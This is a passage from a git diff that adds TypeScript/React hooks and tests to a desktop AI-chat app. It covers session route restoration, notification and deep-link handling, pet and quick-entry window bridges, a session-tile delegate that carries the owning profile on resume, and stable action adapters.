+          !!route && route !== NEW_CHAT_ROUTE && !routeSession && !isOverlayView(appViewForPath(route))
+
+        // Boot adoption can publish renderer.ready before its async session
+        // refresh completes. Keep the restore latch open until ownership can be
+        // decided; treating an unloaded list as authoritative would erase valid
+        // remembered navigation permanently.
+        if (sessions.length === 0 && !restorableNonSessionRoute && (routeSession || last)) {
+          return
+        }
+
+        restoredRef.current = true
+
+        if (
+          route &&
+          route !== NEW_CHAT_ROUTE &&
+          !isOverlayView(appViewForPath(route)) &&
+          (!routeSession || sessionBelongsToProfile(sessions, routeSession, activeProfile))
+        ) {
+          navigate(route, { replace: true })
+
+          return
+        }
+
+        // A remembered route carried a session id we can no longer validate —
+        // clear the stale entry so the next cold start won't re-try it.
+        if (routeSession) {
+          setRememberedRoute(null, activeProfile)
+        }
+
+        if (last && sessionBelongsToProfile(sessions, last, activeProfile)) {
+          navigate(sessionRoute(last), { replace: true })
+
+          return
+        }
+
+        if (last) {
+          setRememberedSessionId(null, activeProfile)
+        }
+      } else {
+        restoredRef.current = true
+      }
+    }
+
+    // Remember the open chat (session id for notifications/resume) AND the last
+    // non-overlay route (a page like /skills, or a session route) per profile.
+    // Session-shaped routes require an explicit matching owner; unresolved and
+    // wrong-profile rows must not replace known-safe navigation.
+    if (routedSessionId && sessionBelongsToProfile(sessions, routedSessionId, activeProfile)) {
+      setRememberedSessionId(routedSessionId, activeProfile)
+      setRememberedRoute(locationPathname, activeProfile)
+    } else if (!routedSessionId && !isOverlayView(appViewForPath(locationPathname))) {
+      setRememberedRoute(locationPathname, activeProfile)
+    }
+  }, [activeProfile, locationPathname, navigate, profileReady, routedSessionId, sessions])
+
+  useEffect(() => {
+    if (!profileReady || !resumeExhaustedSessionId) {
+      return
+    }
+
+    if (getRememberedSessionId(activeProfile) === resumeExhaustedSessionId) {
+      setRememberedSessionId(null, activeProfile)
+    }
+
+    if (routeSessionId(getRememberedRoute(activeProfile) ?? '') === resumeExhaustedSessionId) {
+      setRememberedRoute(null, activeProfile)
+    }
+  }, [activeProfile, profileReady, resumeExhaustedSessionId])
+
+  // Native-notification click -> jump to the session WHERE IT ALREADY IS (open
+  // tile / main), else beside what's loaded rather than over it — the click
+  // came from outside the app and shouldn't cost the user the chat they left
+  // on screen. Runtime id is translated to the stored id the chat route is
+  // keyed by; action buttons resolve in place.
+  useEffect(() => {
+    const unsubscribe = window.clawcodexDesktop?.onFocusSession?.(sessionId => {
+      if (sessionId) {
+        openSession(storedSessionIdForNotification(sessionId, runtimeIdByStoredSessionId.current), navigate, 'stack')
+      }
+    })
+
+    return () => unsubscribe?.()
+  }, [navigate, runtimeIdByStoredSessionId])
+
+  useEffect(() => {
+    const unsubscribe = window.clawcodexDesktop?.onNotificationAction?.(({ actionId, sessionId }) => {
+      void respondToApprovalAction(sessionId ?? null, actionId)
+    })
+
+    return () => unsubscribe?.()
+  }, [])
+
+  // clawcodex:// deep links -> a reviewable /blueprint command in the composer.
+  useEffect(() => {
+    const unsubscribe = window.clawcodexDesktop?.onDeepLink?.(payload => {
+      if (!payload || payload.kind !== 'blueprint' || !payload.name) {
+        return
+      }
+
+      const slots = Object.entries(payload.params || {})
+        .map(([k, v]) => {
+          const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
+
+          return `${k}=${sval}`
+        })
+        .join(' ')
+
+      const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
+      requestComposerInsert(command, { mode: 'block', target: 'main' })
+      requestComposerFocus('main')
+    })
+
+    void window.clawcodexDesktop?.signalDeepLinkReady?.()
+
+    return () => unsubscribe?.()
+  }, [])
+
+  // ⌘W via the macOS menu accelerator → close the focused tab; if nothing is
+  // closeable, fall back to closing the window (so ⌘W still works as the
+  // OS-standard window close, esp. secondary windows). The Win/Linux keyboard
+  // path is the `view.closeTab` keybind (use-keybinds), sharing closeActiveTab.
+  useEffect(() => {
+    const unsubscribe = window.clawcodexDesktop?.onClosePreviewRequested?.(
+      () => void closeActiveTab(id => navigate(sessionRoute(id)))
+    )
+
+    return () => unsubscribe?.()
+  }, [navigate])
+
+  // File > Open Folder… — same open-folder-as-project upsert as the ⌘O keybind.
+  useEffect(() => {
+    const unsubscribe = window.clawcodexDesktop?.onOpenFolderRequested?.(() => void openFolderAsProject())
+
+    return () => unsubscribe?.()
+  }, [])
+
+  // Another window mutated the shared session list -> re-pull the sidebar.
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    return onSessionsChanged(() => void refreshSessions())
+  }, [refreshSessions])
+}
diff --git a/ui-desktop/src/app/contrib/hooks/use-pet-bridge.ts b/ui-desktop/src/app/contrib/hooks/use-pet-bridge.ts
new file mode 100644
index 000000000..9dc3dbc60
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-pet-bridge.ts
@@ -0,0 +1,68 @@
+import { useEffect, useRef } from 'react'
+
+import { setPetActivity } from '@/store/pet'
+import { setPetScale } from '@/store/pet-gallery'
+import { setPetOverlayOpenAppHandler, setPetOverlayScaleHandler, setPetOverlaySubmitHandler } from '@/store/pet-overlay'
+import { $sessions } from '@/store/session'
+import { $attentionSessionIds } from '@/store/session-states'
+import { isSecondaryWindow } from '@/store/windows'
+
+import type { GatewayRequester } from '../types'
+
+interface PetBridgeParams {
+  requestGateway: GatewayRequester
+  resumeSession: (sessionId: string) => Promise<unknown> | unknown
+  submitText: (text: string) => Promise<unknown> | unknown
+}
+
+/**
+ * Wires the popped-out pet overlay back into the app: submit a prompt, resize,
+ * and open the most-recent thread, plus mirroring "a session is awaiting the
+ * user" into the pet's pose. Handlers register ONCE through refs tracking the
+ * latest callbacks — re-registering on identity churn leaves a nulled-handler
+ * window that can drop a submit. Primary window only.
+ */
+export function usePetBridge({ requestGateway, resumeSession, submitText }: PetBridgeParams): void {
+  const submitTextRef = useRef(submitText)
+  submitTextRef.current = submitText
+  const resumeSessionRef = useRef(resumeSession)
+  resumeSessionRef.current = resumeSession
+  const requestGatewayRef = useRef(requestGateway)
+  requestGatewayRef.current = requestGateway
+
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    setPetOverlaySubmitHandler(text => void submitTextRef.current(text))
+    // Alt+wheel resize from the popped-out pet — persist through this window's
+    // gateway (the overlay has none) so it survives restart.
+    setPetOverlayScaleHandler(scale => setPetScale(requestGatewayRef.current, scale))
+    // Mail icon: $sessions is most-recent-first; the pet is global, so "most
+    // recent" is the right target.
+    setPetOverlayOpenAppHandler(() => {
+      const recent = $sessions.get()[0]
+
+      if (recent?.id) {
+        void resumeSessionRef.current(recent.id)
+      }
+    })
+
+    return () => {
+      setPetOverlaySubmitHandler(null)
+      setPetOverlayOpenAppHandler(null)
+      setPetOverlayScaleHandler(null)
+    }
+  }, [])
+
+  // Mirror "a session is blocked on the user" (clarify/approval) into the pet's
+  // awaitingInput flag so it shows the `waiting` pose.
+  useEffect(() => {
+    const sync = () => setPetActivity({ awaitingInput: $attentionSessionIds.get().length > 0 })
+
+    sync()
+
+    return $attentionSessionIds.listen(sync)
+  }, [])
+}
diff --git a/ui-desktop/src/app/contrib/hooks/use-quick-entry-bridge.ts b/ui-desktop/src/app/contrib/hooks/use-quick-entry-bridge.ts
new file mode 100644
index 000000000..cf651e3bc
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-quick-entry-bridge.ts
@@ -0,0 +1,128 @@
+import { useEffect, useRef } from 'react'
+
+import {
+  initQuickEntryBridge,
+  QUICK_TARGET_CURRENT,
+  QUICK_TARGET_NEW,
+  type QuickEntrySessionOption,
+  setQuickEntrySubmitHandler
+} from '@/store/quick-entry'
+import { $gatewayState, $sessions } from '@/store/session'
+import { sessionTileDelegate } from '@/store/session-states'
+import { isSecondaryWindow } from '@/store/windows'
+
+interface QuickEntryBridgeParams {
+  startFreshSessionDraft: () => void
+  submitText: (text: string) => Promise<unknown> | unknown
+}
+
+// The picker is a capture aid, not a session browser — a handful of recent
+// rows is the whole point.
+const QUICK_ENTRY_SESSION_OPTIONS = 5
+
+function sessionOptions(): QuickEntrySessionOption[] {
+  return $sessions
+    .get()
+    .filter(session => !session.archived)
+    .slice(0, QUICK_ENTRY_SESSION_OPTIONS)
+    .map(session => ({
+      id: session.id,
+      title: session.title?.trim() || session.preview?.trim() || session.id
+    }))
+}
+
+/**
+ * Wires the global-hotkey Quick Entry window back into the app, both ways:
+ *
+ * - **Inbound:** text captured there is routed by target and submitted through
+ *   THIS window's normal prompt machinery — current chat rides `submitText`, a
+ *   picked stored session rides the session-tile delegate (resume + submit,
+ *   background, without touching the primary view — the same path tiled
+ *   sessions use), and "new session" is a fresh draft + submit, exactly what
+ *   clicking New Chat and typing does. One submit pipeline, no bespoke RPC.
+ * - **Outbound:** gateway connection state + the recent-session list are pushed
+ *   to the quick window (via main, which caches the latest push), so its input
+ *   disables with a reconnect hint whenever the backend is unreachable.
+ *
+ * Handlers register ONCE through refs tracking the latest callbacks —
+ * re-registering on identity churn leaves a nulled-handler window that can drop
+ * a submit (the same bug shape use-pet-bridge guards). Primary window only: a
+ * secondary session window must not also claim the global capture channel, or
+ * one keystroke would send N prompts.
+ */
+export function useQuickEntryBridge({ startFreshSessionDraft, submitText }: QuickEntryBridgeParams): void {
+  const submitTextRef = useRef(submitText)
+  submitTextRef.current = submitText
+  const startFreshRef = useRef(startFreshSessionDraft)
+  startFreshRef.current = startFreshSessionDraft
+
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    setQuickEntrySubmitHandler(({ target, text }) => {
+      if (target === QUICK_TARGET_NEW) {
+        // Same as the user clicking New Chat and typing: fresh draft, then the
+        // normal submit creates the backend session.
+        startFreshRef.current()
+        void submitTextRef.current(text)
+
+        return
+      }
+
+      if (target !== QUICK_TARGET_CURRENT) {
+        // A picked stored session: resume + submit in the background through
+        // the session-tile delegate so the primary view stays where it is.
+        const delegate = sessionTileDelegate()
+
+        if (delegate) {
+          void delegate
+            .resumeTile(target)
+            .then(runtimeId => delegate.submitToSession(runtimeId, text))
+            // A dead/undeliverable target must not swallow the prompt.
+            .catch(() => void submitTextRef.current(text))
+
+          return
+        }
+      }
+
+      void submitTextRef.current(text)
+    })
+
+    const dispose = initQuickEntryBridge()
+
+    return () => {
+      setQuickEntrySubmitHandler(null)
+      dispose()
+    }
+  }, [])
+
+  // Push gateway truth into the quick window whenever it changes: connection
+  // state gates its input; the recent-session list feeds its target picker.
+  useEffect(() => {
+    if (isSecondaryWindow()) {
+      return
+    }
+
+    const api = window.clawcodexDesktop?.quickEntry
+
+    if (!api?.pushState) {
+      return
+    }
+
+    const push = () => {
+      api.pushState({ connected: $gatewayState.get() === 'open', sessions: sessionOptions() })
+    }
+
+    push()
+
+    const offGateway = $gatewayState.listen(push)
+    const offSessions = $sessions.listen(push)
+
+    return () => {
+      offGateway()
+      offSessions()
+    }
+  }, [])
+}
diff --git a/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.test.ts b/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.test.ts
new file mode 100644
index 000000000..067abc667
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.test.ts
@@ -0,0 +1,102 @@
+import { renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type * as ClawCodexModule from '@/clawcodex'
+import { setSessions } from '@/store/session'
+import { sessionTileDelegate } from '@/store/session-states'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { useSessionTileDelegate } from './use-session-tile-delegate'
+
+vi.mock('@/clawcodex', async importActual => ({
+  ...(await importActual<typeof ClawCodexModule>()),
+  getSessionMessages: vi.fn(async () => ({ messages: [], session_id: '' }))
+}))
+
+const { getSessionMessages } = await import('@/clawcodex')
+
+const row = (over: Partial<SessionInfo>): SessionInfo =>
+  ({
+    ended_at: null,
+    id: 'live',
+    input_tokens: 0,
+    is_active: false,
+    last_active: 0,
+    message_count: 1,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    profile: 'default',
+    source: null,
+    started_at: 0,
+    title: null,
+    ...over
+  }) as SessionInfo
+
+function renderTile(requestGateway: ReturnType<typeof vi.fn>) {
+  renderHook(() =>
+    useSessionTileDelegate({
+      archiveSession: vi.fn(async () => undefined),
+      branchStoredSession: vi.fn(async () => undefined),
+      executeSlashCommand: vi.fn(async () => undefined) as never,
+      removeSession: vi.fn(async () => undefined),
+      requestGateway: requestGateway as never,
+      runtimeIdByStoredSessionIdRef: { current: new Map() },
+      sessionStateByRuntimeIdRef: { current: new Map() },
+      updateSessionState: vi.fn()
+    })
+  )
+}
+
+describe('useSessionTileDelegate resumeTile', () => {
+  beforeEach(() => {
+    setSessions([])
+    vi.mocked(getSessionMessages).mockClear()
+  })
+
+  afterEach(() => {
+    setSessions([])
+  })
+
+  it('carries the owning profile into a cold tile resume so it cannot fork profiles', async () => {
+    // A tile opens a session owned by another profile. Resuming without the
+    // profile lets the gateway fall back to the launch-profile DB and clone the
+    // conversation into the wrong profile (#67603). The owning profile must ride
+    // both the transcript prefetch and the resume RPC.
+    setSessions([row({ id: 'stored-x', profile: 'ai-engineer' })])
+
+    const requestGateway = vi.fn(async (method: string) =>
+      method === 'session.resume' ? ({ session_id: 'runtime-1' } as never) : ({} as never)
+    )
+
+    renderTile(requestGateway)
+    const runtimeId = await sessionTileDelegate()!.resumeTile('stored-x')
+
+    expect(runtimeId).toBe('runtime-1')
+    expect(getSessionMessages).toHaveBeenCalledWith('stored-x', 'ai-engineer')
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', {
+      session_id: 'stored-x',
+      cols: 96,
+      profile: 'ai-engineer',
+      omit_messages: true
+    })
+  })
+
+  it('resolves and carries a default-profile session explicitly', async () => {
+    setSessions([row({ id: 'stored-y', profile: 'default' })])
+
+    const requestGateway = vi.fn(async (method: string) =>
+      method === 'session.resume' ? ({ session_id: 'runtime-2' } as never) : ({} as never)
+    )
+
+    renderTile(requestGateway)
+    await sessionTileDelegate()!.resumeTile('stored-y')
+
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', {
+      session_id: 'stored-y',
+      cols: 96,
+      profile: 'default',
+      omit_messages: true
+    })
+  })
+})
diff --git a/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.ts b/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.ts
new file mode 100644
index 000000000..57c9e1e01
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-session-tile-delegate.ts
@@ -0,0 +1,161 @@
+import { useEffect } from 'react'
+
+import { getSessionMessages, PROMPT_SUBMIT_REQUEST_TIMEOUT_MS } from '@/clawcodex'
+import { toChatMessages } from '@/lib/chat-messages'
+import { publishSessionState, setSessionTileDelegate } from '@/store/session-states'
+import type { SessionResumeResponse } from '@/types/clawcodex'
+
+import type { usePromptActions } from '../../session/hooks/use-prompt-actions'
+import { withSessionNotFoundResume } from '../../session/hooks/use-prompt-actions/utils'
+import { resolveSessionProfile } from '../../session/hooks/use-session-actions/utils'
+import type { useSessionStateCache } from '../../session/hooks/use-session-state-cache'
+import type { GatewayRequester } from '../types'
+
+type SessionStateCache = ReturnType<typeof useSessionStateCache>
+
+interface SessionTileDelegateParams {
+  archiveSession: (storedSessionId: string) => Promise<unknown>
+  branchStoredSession: (storedSessionId: string) => Promise<unknown>
+  executeSlashCommand: ReturnType<typeof usePromptActions>['executeSlashCommand']
+  removeSession: (storedSessionId: string) => Promise<unknown>
+  requestGateway: GatewayRequester
+  runtimeIdByStoredSessionIdRef: SessionStateCache['runtimeIdByStoredSessionIdRef']
+  sessionStateByRuntimeIdRef: SessionStateCache['sessionStateByRuntimeIdRef']
+  updateSessionState: SessionStateCache['updateSessionState']
+}
+
+/**
+ * Publishes the session-tile delegate: resume / submit / interrupt / slash for
+ * tiled sessions WITHOUT touching the primary view ($activeSessionId /
+ * $messages stay the main thread's). Resume reuses a live runtime binding when
+ * one exists (incl. the main thread's own session); a cold tile binds +
+ * hydrates the cache, which publishSessionState mirrors to the tile.
+ */
+export function useSessionTileDelegate({
+  archiveSession,
+  branchStoredSession,
+  executeSlashCommand,
+  removeSession,
+  requestGateway,
+  runtimeIdByStoredSessionIdRef,
+  sessionStateByRuntimeIdRef,
+  updateSessionState
+}: SessionTileDelegateParams): void {
+  useEffect(() => {
+    // A tile's runtime binding can die the same way the foreground's does
+    // (sleep/wake, backend restart). The cache maps stored -> runtime, so walk
+    // it backwards to find the durable id this runtime belongs to.
+    const storedSessionIdForRuntime = (runtimeId: string): null | string => {
+      const cached = sessionStateByRuntimeIdRef.current.get(runtimeId)?.storedSessionId
+
+      if (cached) {
+        return cached
+      }
+
+      for (const [storedId, mapped] of runtimeIdByStoredSessionIdRef.current) {
+        if (mapped === runtimeId) {
+          return storedId
+        }
+      }
+
+      return null
+    }
+
+    // Repoint the stored -> runtime mapping at the recovered id so subsequent
+    // tile actions use the live binding instead of re-recovering every call.
+    const rebindTileRuntime = (deadRuntimeId: string) => (recoveredId: string) => {
+      const storedId = storedSessionIdForRuntime(deadRuntimeId)
+
+      if (storedId) {
+        runtimeIdByStoredSessionIdRef.current.set(storedId, recoveredId)
+      }
+    }
+
+    setSessionTileDelegate({
+      archiveSession: async storedSessionId => {
+        await archiveSession(storedSessionId)
+      },
+      branchSession: async storedSessionId => {
+        await branchStoredSession(storedSessionId)
+      },
+      deleteSession: async storedSessionId => {
+        await removeSession(storedSessionId)
+      },
+      executeSlash: async (rawCommand, sessionId) => {
+        await executeSlashCommand(rawCommand, { sessionId })
+      },
+      interruptSession: async runtimeId => {
+        await withSessionNotFoundResume(
+          runtimeId,
+          storedSessionIdForRuntime(runtimeId),
+          liveId => requestGateway('session.interrupt', { session_id: liveId }),
+          { requestGateway, onRecovered: rebindTileRuntime(runtimeId) }
+        )
+      },
+      resumeTile: async storedSessionId => {
+        const existing = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
+        const cached = existing ? sessionStateByRuntimeIdRef.current.get(existing) : undefined
+
+        if (existing && cached?.storedSessionId === storedSessionId) {
+          publishSessionState(existing, cached)
+
+          return existing
+        }
+
+        // Resolve the owning profile before binding a runtime. A tile can open a
+        // session from any profile, not just the active one; resuming (or
+        // reading messages) without a profile lets the gateway fall back to the
+        // launch-profile DB and fork the conversation into the wrong profile —
+        // the same cross-profile bleed the recovery resumes had (#67603).
+        const profile = await resolveSessionProfile(storedSessionId)
+
+        const [prefetch, resumed] = await Promise.all([
+          getSessionMessages(storedSessionId, profile).catch(() => null),
+          requestGateway<SessionResumeResponse>('session.resume', {
+            session_id: storedSessionId,
+            cols: 96,
+            omit_messages: true,
+            ...(profile ? { profile } : {})
+          })
+        ])
+
+        const runtimeId = resumed?.session_id
+
+        if (!runtimeId) {
+          throw new Error('resume returned no session id')
+        }
+
+        updateSessionState(
+          runtimeId,
+          state => ({
+            ...state,
+            busy: Boolean(resumed?.info?.running),
+            messages:
+              state.messages.length > 0 ? state.messages : toChatMessages(prefetch?.messages ?? resumed?.messages ?? [])
+          }),
+          storedSessionId
+        )
+
+        return runtimeId
+      },
+      submitToSession: async (runtimeId, text) => {
+        await withSessionNotFoundResume(
+          runtimeId,
+          storedSessionIdForRuntime(runtimeId),
+          liveId => requestGateway('prompt.submit', { session_id: liveId, text }, PROMPT_SUBMIT_REQUEST_TIMEOUT_MS),
+          { requestGateway, onRecovered: rebindTileRuntime(runtimeId) }
+        )
+      },
+      updateSession: (runtimeId, updater) => updateSessionState(runtimeId, updater)
+    })
+  }, [
+    archiveSession,
+    branchStoredSession,
+    executeSlashCommand,
+    removeSession,
+    requestGateway,
+    runtimeIdByStoredSessionIdRef,
+    sessionStateByRuntimeIdRef,
+    updateSessionState
+  ])
+}
diff --git a/ui-desktop/src/app/contrib/index.ts b/ui-desktop/src/app/contrib/index.ts
new file mode 100644
index 000000000..c39e6f314
--- /dev/null
+++ b/ui-desktop/src/app/contrib/index.ts
@@ -0,0 +1,7 @@
+// The contribution-driven shell package. `controller` registers panes /
+// layouts / chrome and mounts the app root; `wiring` is the data controller +
+// memoized pane surfaces; `panes` holds the real-data pane bodies + statusbar
+// group setters. Only the controller is a public entry (the app root renders
+// it); the rest are internal to this directory.
+export { ContribController } from './controller'
+export { ContribWiring, WiredPane } from './wiring'
diff --git a/ui-desktop/src/app/contrib/latest-actions.test.ts b/ui-desktop/src/app/contrib/latest-actions.test.ts
new file mode 100644
index 000000000..9ff335054
--- /dev/null
+++ b/ui-desktop/src/app/contrib/latest-actions.test.ts
@@ -0,0 +1,125 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import type { SidebarNavItem } from '../types'
+
+import { latestChatActions, latestSidebarActions } from './latest-actions'
+import type { ChatActions, SidebarActions } from './types'
+
+function makeChatActions(): ChatActions {
+  return {
+    onAddContextRef: vi.fn(),
+    onAddUrl: vi.fn(),
+    onAttachDroppedItems: vi.fn(),
+    onAttachImageBlob: vi.fn(),
+    onBranchInNewChat: vi.fn(),
+    onCancel: vi.fn(),
+    onDeleteSelectedSession: vi.fn(),
+    onDismissError: vi.fn(),
+    onEdit: vi.fn(),
+    onPasteClipboardImage: vi.fn(),
+    onPickFiles: vi.fn(),
+    onPickFolders: vi.fn(),
+    onPickImages: vi.fn(),
+    onReload: vi.fn(),
+    onRemoveAttachment: vi.fn(),
+    onRestoreToMessage: vi.fn(),
+    onRetryResume: vi.fn(),
+    onSteer: vi.fn(),
+    onSubmit: vi.fn(),
+    onThreadMessagesChange: vi.fn(),
+    onToggleSelectedPin: vi.fn(),
+    onTranscribeAudio: vi.fn()
+  }
+}
+
+function makeSidebarActions(): SidebarActions {
+  return {
+    onArchiveSession: vi.fn(),
+    onBranchSession: vi.fn(),
+    onDeleteSession: vi.fn(),
+    onLoadMoreMessaging: vi.fn(),
+    onLoadMoreProfileSessions: vi.fn(),
+    onLoadMoreSessions: vi.fn(),
+    onManageCronJob: vi.fn(),
+    onNavigate: vi.fn(),
+    onNewSessionInWorkspace: vi.fn(),
+    onNewSessionSplit: vi.fn(),
+    onResumeSession: vi.fn(),
+    onTriggerCronJob: vi.fn()
+  }
+}
+
+describe('latestActions adapters', () => {
+  it('dereferences the latest steer handler from a stable actions object', async () => {
+    const staleSteer = vi.fn(async () => false)
+    const latestSteer = vi.fn(async () => true)
+    const actions = makeChatActions()
+    actions.onSteer = staleSteer
+    const adapted = latestChatActions(actions)
+
+    actions.onSteer = latestSteer
+
+    await expect(adapted.onSteer('continue in selected session')).resolves.toBe(true)
+    expect(staleSteer).not.toHaveBeenCalled()
+    expect(latestSteer).toHaveBeenCalledWith('continue in selected session')
+  })
+
+  it('dereferences the latest sidebar handler from a stable actions object', () => {
+    const staleNavigate = vi.fn()
+    const latestNavigate = vi.fn()
+    const item = { id: 'settings', icon: vi.fn(), label: 'Settings', route: '/settings' } satisfies SidebarNavItem
+    const actions = makeSidebarActions()
+    actions.onNavigate = staleNavigate
+    const adapted = latestSidebarActions(actions)
+
+    actions.onNavigate = latestNavigate
+    adapted.onNavigate(item)
+
+    expect(staleNavigate).not.toHaveBeenCalled()
+    expect(latestNavigate).toHaveBeenCalledWith(item)
+  })
+
+  // An absent optional handler must stay absent through the adapter. Children
+  // gate on PRESENCE, not just invocation: onDismissError renders the dismiss
+  // button only when defined, onRestoreToMessage gates the restore-confirm
+  // flow, and onTranscribeAudio gates voice recording. Wrapping an undefined
+  // field in an arrow function makes it unconditionally truthy, which would
+  // paint a dead dismiss button and let voice recording run with no
+  // transcription backend.
+  it('leaves absent optional handlers undefined instead of always-truthy wrappers', () => {
+    const chat = makeChatActions()
+    chat.onDismissError = undefined
+    chat.onRestoreToMessage = undefined
+    chat.onTranscribeAudio = undefined
+
+    const adaptedChat = latestChatActions(chat)
+
+    expect(adaptedChat.onDismissError).toBeUndefined()
+    expect(adaptedChat.onRestoreToMessage).toBeUndefined()
+    expect(adaptedChat.onTranscribeAudio).toBeUndefined()
+
+    const sidebar = makeSidebarActions()
+    sidebar.onLoadMoreMessaging = undefined
+    sidebar.onLoadMoreProfileSessions = undefined
+
+    const adaptedSidebar = latestSidebarActions(sidebar)
+
+    expect(adaptedSidebar.onLoadMoreMessaging).toBeUndefined()
+    expect(adaptedSidebar.onLoadMoreProfileSessions).toBeUndefined()
+  })
+
+  it('still late-binds a PRESENT optional handler to the latest closure', async () => {
+    const staleTranscribe = vi.fn(async () => 'stale')
+    const latestTranscribe = vi.fn(async () => 'latest')
+    const actions = makeChatActions()
+    actions.onTranscribeAudio = staleTranscribe
+
+    const adapted = latestChatActions(actions)
+
+    actions.onTranscribeAudio = latestTranscribe
+
+    expect(adapted.onTranscribeAudio).toBeTypeOf('function')
+    await expect(adapted.onTranscribeAudio!(new Blob())).resolves.toBe('latest')
+    expect(staleTranscribe).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/contrib/latest-actions.ts b/ui-desktop/src/app/contrib/latest-actions.ts
new file mode 100644
index 000000000..7d191208a
--- /dev/null
+++ b/ui-desktop/src/app/contrib/latest-actions.ts
@@ -0,0 +1,73 @@
+import type { ChatActions, SidebarActions } from './types'
+
+/**
+ * Surfaces receive one stable `actions` object whose fields are mutated by the
+ * wiring controller each render. If a memoized surface passes `actions.foo`
+ * directly, the child keeps the function from the surface's last render and can
+ * submit/click against a stale session closure. These adapters keep a stable
+ * wrapper but dereference the latest field at call time.
+ *
+ * OPTIONAL handlers must stay optional. Several children gate on a handler's
+ * *presence*, not just call it — `onDismissError` renders the dismiss button
+ * only when it exists (assistant-message.tsx), `onRestoreToMessage` gates the
+ * restore-confirm flow (thread/index.tsx), and `onTranscribeAudio` gates voice
+ * recording/conversation (use-voice-recorder, use-voice-conversation). An
+ * unconditional arrow wrapper is always truthy, which would render a dead
+ * dismiss button and let voice recording proceed with no transcription backend.
+ * So wrap an optional field only when it is currently present, and re-read the
+ * latest value inside the wrapper for the stale-closure fix.
+ */
+function latestOptional<A extends unknown[], R>(
+  read: () => ((...args: A) => R) | undefined
+): ((...args: A) => R) | undefined {
+  // Presence is sampled from the object identity the surface currently holds.
+  // The controller mutates fields in place rather than swapping a handler
+  // between defined and undefined, so presence is stable for a given actions
+  // object while the *closure* is what churns — which is exactly what the
+  // indirection below re-reads.
+  return read() ? (...args: A) => read()!(...args) : undefined
+}
+
+export function latestChatActions(actions: ChatActions): ChatActions {
+  return {
+    onAddContextRef: (...args) => actions.onAddContextRef(...args),
+    onAddUrl: (...args) => actions.onAddUrl(...args),
+    onAttachDroppedItems: (...args) => actions.onAttachDroppedItems(...args),
+    onAttachImageBlob: (...args) => actions.onAttachImageBlob(...args),
+    onBranchInNewChat: latestOptional(() => actions.onBranchInNewChat),
+    onCancel: (...args) => actions.onCancel(...args),
+    onDeleteSelectedSession: (...args) => actions.onDeleteSelectedSession(...args),
+    onDismissError: latestOptional(() => actions.onDismissError),
+    onEdit: (...args) => actions.onEdit(...args),
+    onPasteClipboardImage: (...args) => actions.onPasteClipboardImage(...args),
+    onPickFiles: (...args) => actions.onPickFiles(...args),
+    onPickFolders: (...args) => actions.onPickFolders(...args),
+    onPickImages: (...args) => actions.onPickImages(...args),
+    onReload: (...args) => actions.onReload(...args),
+    onRemoveAttachment: (...args) => actions.onRemoveAttachment(...args),
+    onRestoreToMessage: latestOptional(() => actions.onRestoreToMessage),
+    onRetryResume: (...args) => actions.onRetryResume(...args),
+    onSteer: (...args) => actions.onSteer(...args),
+    onSubmit: (...args) => actions.onSubmit(...args),
+    onThreadMessagesChange: (...args) => actions.onThreadMessagesChange(...args),
+    onToggleSelectedPin: (...args) => actions.onToggleSelectedPin(...args),
+    onTranscribeAudio: latestOptional(() => actions.onTranscribeAudio)
+  }
+}
+
+export function latestSidebarActions(actions: SidebarActions): SidebarActions {
+  return {
+    onArchiveSession: (...args) => actions.onArchiveSession(...args),
+    onBranchSession: (...args) => actions.onBranchSession(...args),
+    onDeleteSession: (...args) => actions.onDeleteSession(...args),
+    onLoadMoreMessaging: latestOptional(() => actions.onLoadMoreMessaging),
+    onLoadMoreProfileSessions: latestOptional(() => actions.onLoadMoreProfileSessions),
+    onLoadMoreSessions: (...args) => actions.onLoadMoreSessions(...args),
+    onManageCronJob: (...args) => actions.onManageCronJob(...args),
+    onNavigate: (...args) => actions.onNavigate(...args),
+    onNewSessionInWorkspace: (...args) => actions.onNewSessionInWorkspace(...args),
+    onNewSessionSplit: (...args) => actions.onNewSessionSplit(...args),
+    onResumeSession: (...args) => actions.onResumeSession(...args),
+    onTriggerCronJob: (...args) => actions.onTriggerCronJob(...args)
+  }
+}
diff --git a/ui-desktop/src/app/contrib/panes.tsx b/ui-desktop/src/app/contrib/panes.tsx
new file mode 100644
index 000000000..80740c2df
--- /dev/null
+++ b/ui-desktop/src/app/contrib/panes.tsx
@@ -0,0 +1,179 @@
+/**
+ * Real-data panes + composable bar items for the contrib root:
+ *
+ *  - `PreviewRailPane` — the REAL ChatPreviewRail; files-pane clicks feed it.
+ *  - `FilesPane` — real file browser; activating a file opens it in preview.
+ *  - Core statusbar items with LIVE store-backed labels, registered as DATA
+ *    contributions (`area: 'statusBar.left' / 'statusBar.right'`, payload =
+ *    StatusbarItem) — plugins add theirs through the identical call.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { atom } from 'nanostores'
+
+import { RightSidebarPane } from '@/app/right-sidebar'
+import { ReviewPane } from '@/app/right-sidebar/review'
+import type { GroupSetter } from '@/app/shell/group-setter'
+import type { StatusbarItem } from '@/app/shell/statusbar-controls'
+import type { TitlebarTool } from '@/app/shell/titlebar-controls'
+import { getLogs } from '@/clawcodex'
+import { DecodeText } from '@/components/ui/decode-text'
+import { ContribBoundary } from '@/contrib/react/boundary'
